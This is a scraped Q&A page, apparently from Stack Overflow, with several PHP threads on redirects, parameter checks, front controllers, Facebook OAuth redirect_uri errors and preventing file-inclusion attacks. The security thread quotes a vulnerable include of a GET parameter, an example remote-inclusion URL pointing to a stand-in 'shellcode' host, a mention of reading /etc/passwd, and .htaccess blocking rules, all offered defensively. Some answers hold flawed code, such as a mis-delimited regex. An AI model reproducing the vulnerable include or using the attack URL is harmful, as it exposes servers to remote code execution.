Is this way of using the method GET wrong? - php

There is something I've been working and I ran into a problem that I could only solve doing this
header("Location:messages.php?ID_Conversation=$row[ID]");
Is this "wrong"?

This is not wrong exactly. You are redirecting to a resource and passing information to that resource as part of the URL, and this is perfectly acceptable.
However, the part that is wrong is the way the URL is structured. If you are going to be doing this with any regularity, you will want to get into the habit of setting the location as precisely as possible.
At the very least this is to say that you should set the full path relative to the domain root:
header("Location:/any_directories/messages.php?ID_Conversation=$row[ID]");
And at the best, this means including the domain and protocol as well:
header("Location:https://yourdomain.com/any_directories/messages.php?ID_Conversation=$row[ID]");
To simplify this, create a helper function or object to handle this kind of redirect.
function redirect($url) {
header("Location:https://yourdomain.com/$url");
}
redirect("any_directories/messages.php?ID_Conversation=$row[ID]");
Obviously there are other considerations in the above function, passing data for the GET query as an array maybe, discovering the domain and/or protocol, etc, and it should not be used as it is written, but the idea is sound.

Related

Ensure that url was called with specific parameter

I have a script.php that can be accessed by browser. To be able to do anything it has to be called by using script.php?abc=1
What is the best way to check if parameter was called and if not, stop the script?
Would checking for $_SERVER['REQUEST_URI'] be enough? Do all browsers use it?
Thank you
You can use the isset() function - this is a very common thing to use if you need to check whether input values have been provided or not.
In the simplest case, just exit the script if the value isn't set:
if (!isset($_GET["abc"])) exit();
Documentation: https://www.php.net/manual/en/function.isset.php
P.S. $_SERVER['REQUEST_URI'] provides the whole URI following the domain, including the path and the whole querystring. So you could pick that apart to get the value you want, but it's pointless because $_GET["abc"] will take you straight to it. See this answer for an example of the difference.

API Component Separation

I'm new to the world of API programming, I just have a bit of a side project at work at the moment and I'm learning as I write, so bear with me.
I'm unsure as to the best way to implement an API for multiple different functions. At the moment I just have a test script I run and an apache redirect that redirects anything under /api to this script, call it TestAPI.php (so /api/anything will redirect). I pass the path variable of the API to the script (so in that example the path would be 'anything').
At the moment I'm just writing it for 1 purpose, to look up some data based on the path, and eventually be about to update and delete etc with PUT/DELETE etc (it's restISH not restFUL). This is fine at the moment where everything redirects to this script, but what about if I need 2 different functions? So I want to look up a different data set? So for example now /api/data1 would go to the 1st set and /api/data2 would go to the second. This is where I start to get unsure.
Do I simply have 1 mega script that grows and grows so that /api/data1 and /api/data2 redirect to the same place (and thus handle any errors like 404s there). Or do I have a script for /api/data1 and /api/data2 with separate redirects to each, then a generic catchall for 404s (I would always like to return JSON/XML rather than HTML for a 404, so I need at least logic to return based on the Accept header).
As a 3rd option, do I have some sort of frontline controller that catches everything, then calls off to the sub components? So 1 script that is redirects to for anything under /api, which then calls off to the required components or 404s if it's an invalid path. This seems like the best way to do it to me, but I have no idea how. Do I have some section of the site that only that script can call, or do I use cURL from the frontline controller to the back end API sections (as I'd need to pass POST/PUT data I assume I'd have to use cURL, is there any other way?). How is this best implemented in Apache?
Yes, you use a front controller. The front controller can use convention like first thing after /api processes the request
i.e.
/api/firstprocessor/method1
/api/firstprocessor/method2
/api/secondprocessor/method14
You can check out Zend_Framework for an example of this in action, or it can be something as simple as
$name = 'Script_' . $this->generateCommandName($request->getPathVariable(1));
$this->executeScript($name, $request);
public function executeScript($class, Request $request) {
if (file_exists("scripts/".$class.'.php')) {
//include the script
require_once "scripts/".$class.'.php';
//execute the script
$command = new $class;
$command->execute($request);
}
}
Then all your scripts just have an execute method that uses $request to get $_GET or $_POST variables

Login with facebook php sdk [duplicate]

very strange error. i use gide http://developers.facebook.com/docs/authentication/. so i create request to fb and pass redirect_uri. i use test site on localhost. so if i pass
redirect_uri=http://localhost/test_blog/index.php
it works fine, but if i pass
redirect_uri=http://localhost/test_blog/index.php?r=site/oauth2
it don't want work. i try to use
redirect_uri= .
urlencode('http://localhost/test_blog/index.php?r=site/oauth2)
but not work.
i try to explaine. i success get code, but when i access https://graph.facebook.com/me?access_token i get error 'Error validating verification code'. i checked evering, error is in ?r=site/oauth2 but i need passing some params
can somebody help me?
i read post http://forum.developers.facebook.net/viewtopic.php?id=70855 but nothing work for me
There are presently (as of March 2011) undocumented requirements regarding what makes a valid redirect_uri.
First, both redirect_uri paramaters to authorize and access_token must match.
Apparently Facebook (or rather OAuth2) is using the redirect_uri as a internal key to encode the code returned for the access_token request. It's kinda clever since it verifies back to your site. It explains why the access_token request which wouldn't otherwise need a redirect_uri parameter requires one.
Second, you cannot use many special characters in the redirect_uri.
A lot of discussion rages whether parameters can be passed at all. They can, you're limited which characters are valid but no one has published a list that I know. Traditional methods like url/html encoding will fail because percent(%) is not valid. Slash (/) is not valid either so a nested redirection url will always fail. The ONLY way to overcome the special char limitation is to encode the value of the parameter to base64. If you're using ASP.NET, look up Convert.ToBase64.
Lastly, and this is more of a side-note. There are a lot of programmers passing along misinformation that a simple solution is to pass type=client_cred. This may limit your access to some of the permissions you requested in your authorization. It is inadvisable.
Had the same problem all day when testing with redirect_uri=http://localhost:8000 (encoded to http%3A%2F%2Flocalhost%3A8000)...
Solution was simply to make sure to put the trailing slash / on the end of the uri. So redirect_uri=http://localhost:8000/ (encoded to http%3A%2F%2Flocalhost%3A8000%2F).
Again, make sure the redirect_uri is identical for both requests.
I have had this problem. I knew for a fact that my URLs were the same because I used a class with the same $var, but I kept getting the 400 response and that error in the JSON response.
The only thing I did was change my redirect_uri from:
http://myredirecturi.com
to
http://myredirecturi.com/
Yeh, just added the trailing slash and it worked.
You don't really need to encode, just put the '/' at the end of your redirect_url and everything should be fine!
Part of the information given by Aaron Wheeler is incorrect.
It is true that the 'redirect_uri' parameter must be identical in both requests, however it is perfectly possible to URL encode a regular URL and use that as the value for the 'redirect_url' parameter, so long as you're careful to further URL encode any inline URLs.
For instance, you wish facebook to redirect to the following URL:
http://www.mysite.com/Users/oAuthComplete?my_param_1=/Party/pants
Attempting to redirect the user to
'https://www.facebook.com/dialog/oauth?client_id=12345&redirect_uri='
. urlencode('http://www.mysite.com/Users/oAuthComplete?my_param_1=/Party/pants');
Will fail as /Party/Pants creates an invalid URL
However, redirecting to
'https://www.facebook.com/dialog/oauth?client_id=12345&redirect_uri='
.urlencode('http://www.mysite.com/Users/oAuthComplete?my_param_1='
.urlencode('/Party/pants'));
Will work as expected.
If you are using the returned the redrect_uri value in the second, authenticate application request, be sure to url encode again - the value is automatically URL decoded when populating the $_GET superglobal. - This is what tripped me up.
'https://graph.facebook.com/oauth/access_token?client_id=12345&&client_secret=SECRET&code=1234567'
.urlencode('http://www.mysite.com/Users/oAuthComplete?my_param_1='
.urlencode($_GET['my_param_1']));
P.s. In your actual code, I'd recommend using sprintf() rather than chaining string together like in my example, for better readability.
From what I can see, the problem here is that the redirect_uri must end with '/' and not contain '?' or other special characters. I think that is why you are getting 'Error validating verification code'. This error only appears if you are using file_get_contents(), and not when using the facebook php library.
This is the solution for php, don't know if this error appears in other SDK's.
I'm not sure if it will help, but i would suggest to encode only values in the url. Not the whole thing. eg:
redirect_uri='http://localhost/test_blog/index.php?r='.urlencode('site/oauth2');
I was having the pb and finally fix it adding the type=client_cred parameter in the url.
Struggled with this for a while. Since I didn't want a redirect, but the redirect parameter is required, my solution was to simply set it to nothing -
...&redirect_uri=&client_secret=...
I just had the same problem.
Admittedly, I am a super n00b so excuse me if this solution doesnt make any sense in actual practice.
I simply set a short fuse cookie (1-2 min) with a test variable in the page with my FB Connect button. When FB came back with information to my data parsing/handling script I checked for this cookie where I was redirecting it and if found, directed the user to the proper URL using header:location.
Of course some browsers/users etc disable cookies. This obviously wont work there (maybe use a session var and destroy it in the fb data handler?) I am sure there is a better way to do it but at the moment, this bandaid works.
The answer for me was this:
$user = $facebook->getUser();
if (!$user) {
$loginUrl = $facebook->getLoginUrl(array(
'scope' => '',
'redirect_uri' => $this->domain,
));
print('<script> top.location.href=\'' . $loginUrl . '\'</script>');
}
I've been cracking my head a long time before I found this solution, seeming I am not the only one with this issue I hope this works for you to!
I noticed you are using Yii which I'm using as well and had the same problem for half the day. As mentioned, the problem is the special characters in your URL i.e. r=site/oath2
You can fix it by enabling pretty URLS in your config so that your URL becomes index.php/site/oath2
It seems to work without the trailing slash though.

Lithium PHP global variables

I have looked all over the place, but still cant figure out how to set a global variable in PHP (Lithium framework).
My goal is to make the server root always accessible everywhere, without having to write this code everytime, to make my app independent of the hostname it is running on :
<?php echo "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; ?>
Please don't tell me to just use absolute or relative paths, as I have tried everything that way, and it is simply too messy (besides not working most of the time).
It looks like your code above is in a template. So you can use $this->request()->to('url') to get the current url. Or from a controller, it would be $this->request->to('url'). You can also pass 'absolute' => true to the options for Router::match. Unfortunately, the html link helper - i.e. $this->html->link(...) - doesn't pass the 'absolute' => true option through to the Router::match but you can call $this->url() which is passed through to Router::match. So it would be $this->url('/relative/url', array('absolute' => true)).
See the docs for Router::match
The Request object also provides access to things like http host and request uri. See the docs for Request::env()
But, to your original point about global vars, I think the Environment class should be used for this. You can put arbitrary data in it -- and even set it in your bootstrap to have different values for different environments (i.e. dev vs. staging vs. production).
Sorry, but use relative paths and use the link generator helper, which won't get what you're trying to do wrong.
See the docs.

Best way to avoid code injection in PHP

My website was recently attacked by, what seemed to me as, an innocent code:
<?php
if ( isset( $ _GET['page'] ) ) {
include( $ _GET['page'] . ".php" );
} else {
include("home.php");
}
?>
There where no SQL calls, so I wasn't afraid for SQL Injection. But, apparently, SQL isn't the only kind of injection.
This website has an explanation and a few examples of avoiding code injection: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html
How would you protect this code from code injection?
Use a whitelist and make sure the page is in the whitelist:
$whitelist = array('home', 'page');
if (in_array($_GET['page'], $whitelist)) {
include($_GET['page'].'.php');
} else {
include('home.php');
}
Another way to sanitize the input is to make sure that only allowed characters (no "/", ".", ":", ...) are in it. However don't use a blacklist for bad characters, but a whitelist for allowed characters:
$page = preg_replace('[^a-zA-Z0-9]', '', $page);
... followed by a file_exists.
That way you can make sure that only scripts you want to be executed are executed (for example this would rule out a "blabla.inc.php", because "." is not allowed).
Note: This is kind of a "hack", because then the user could execute "h.o.m.e" and it would give the "home" page, because all it does is removing all prohibited characters. It's not intended to stop "smartasses" who want to cute stuff with your page, but it will stop people doing really bad things.
BTW: Another thing you could do in you .htaccess file is to prevent obvious attack attempts:
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /–http– [F,NC]
RewriteRule http: /–http– [F,NC]
That way all page accesses with "http:" url (and query string) result in an "Forbidden" error message, not even reaching the php script. That results in less server load.
However keep in mind that no "http" is allowed in the query string. You website might MIGHT require it in some cases (maybe when filling out a form).
BTW: If you can read german: I also have a blog post on that topic.
The #1 rule when accepting user input is always sanitize it. Here, you're not sanitizing your page GET variable before you're passing it into include. You should perform a basic check to see if the file exists on your server before you include it.
Pek, there are many things to worry about an addition to sql injection, or even different types of code injection. Now might be a good time to look a little further into web application security in general.
From a previous question on moving from desktop to web development, I wrote:
The OWASP Guide to Building Secure Web Applications and Web Services should be compulsory reading for any web developer that wishes to take security seriously (which should be all web developers). There are many principles to follow that help with the mindset required when thinking about security.
If reading a big fat document is not for you, then have a look at the video of the seminar Mike Andrews gave at Google a couple years back about How To Break Web Software.
I'm assuming you deal with files in the same directory:
<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
$page = urldecode($_GET['page']);
$page = basename($page);
$file = dirname(__FILE__) . "/{$page}.php";
if (!file_exists($file)) {
$file = dirname(__FILE__) . '/home.php';
}
} else {
$file = dirname(__FILE__) . '/home.php';
}
include $file;
?>
This is not too pretty, but should fix your issue.
pek, for a short term fix apply one of the solutions suggested by other users. For a mid to long term plan you should consider migrating to one of existing web frameworks. They handle all low-level stuff like routing and files inclusion in reliable, secure way, so you can focus on core functionalities.
Do not reinvent the wheel. Use a framework. Any of them is better than none. The initial time investment in learning it pays back almost instantly.
Some good answers so far, also worth pointing out a couple of PHP specifics:
The file open functions use wrappers to support different protocols. This includes the ability to open files over a local windows network, HTTP and FTP, amongst others. Thus in a default configuration, the code in the original question can easily be used to open any arbitrary file on the internet and beyond; including, of course, all files on the server's local disks (that the webbserver user may read). /etc/passwd is always a fun one.
Safe mode and open_basedir can be used to restrict files outside of a specific directory from being accessed.
Also useful is the config setting allow_url_fopen, which can disable URL access to files, when using the file open functions. ini-set can be used to set and unset this value at runtime.
These are all nice fall-back safety guards, but please use a whitelist for file inclusion.
I know this is a very old post and I expect you don't need an answer anymore, but I still miss a very important aspect imho and I like it to share for other people reading this post. In your code to include a file based on the value of a variable, you make a direct link between the value of a field and the requested result (page becomes page.php). I think it is better to avoid that.
There is a difference between the request for some page and the delivery of that page. If you make this distinction you can make use of nice urls, which are very user and SEO friendly. Instead of a field value like 'page' you could make an URL like 'Spinoza-Ethica'. That is a key in a whitelist or a primary key in a table from a database and will return a hardcoded filename or value. That method has several advantages besides a normal whitelist:
the back end response is effectively independent from the front end request. If you want to set up your back end system differently, you do not have to change anything on the front end.
Always make sure you end with hardcoded filenames or an equivalent from the database (preferrabley a return value from a stored procedure), because it is asking for trouble when you make use of the information from the request to build the response.
Because your URLs are independent of the delivery from the back end you will never have to rewrite your URLs in the htAccess file for this kind of change.
The URLs represented to the user are user friendly, informing the user about the content of the document.
Nice URLs are very good for SEO, because search engines are in search of relevant content and when your URL is in line with the content will it get a better rate. At least a better rate then when your content is definitely not in line with your content.
If you do not link directly to a php file, you can translate the nice URL into any other type of request before processing it. That gives the programmer much more flexibility.
You will have to sanitize the request, because you get the information from a standard untrustfull source (the rest of the Web). Using only nice URLs as possible input makes the sanitization process of the URL much simpler, because you can check if the returned URL conforms your own format. Make sure the format of the nice URL does not contain characters that are used extensively in exploits (like ',",<,>,-,&,; etc..).
#pek - That won't work, as your array keys are 0 and 1, not 'home' and 'page'.
This code should do the trick, I believe:
<?php
$whitelist = array(
'home',
'page',
);
if(in_array($_GET['page'], $whitelist)) {
include($_GET['page'] . '.php');
} else {
include('home.php');
}
?>
As you've a whitelist, there shouldn't be a need for file_exists() either.
Think of the URL is in this format:
www.yourwebsite.com/index.php?page=http://malicodes.com/shellcode.txt
If the shellcode.txt runs SQL or PHP injection, then your website will be at risk, right? Do think of this, using a whitelist would be of help.
There is a way to filter all variables to avoid the hacking. You can use PHP IDS or OSE Security Suite to help avoid the hacking. After installing the security suite, you need to activate the suite, here is the guide:
http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html
I would suggest you turn on layer 2 protection, then all POST and GET variables will be filtered especially the one I mentioned, and if there are attacks found, it will report to you immediately/
Safety is always the priority

Categories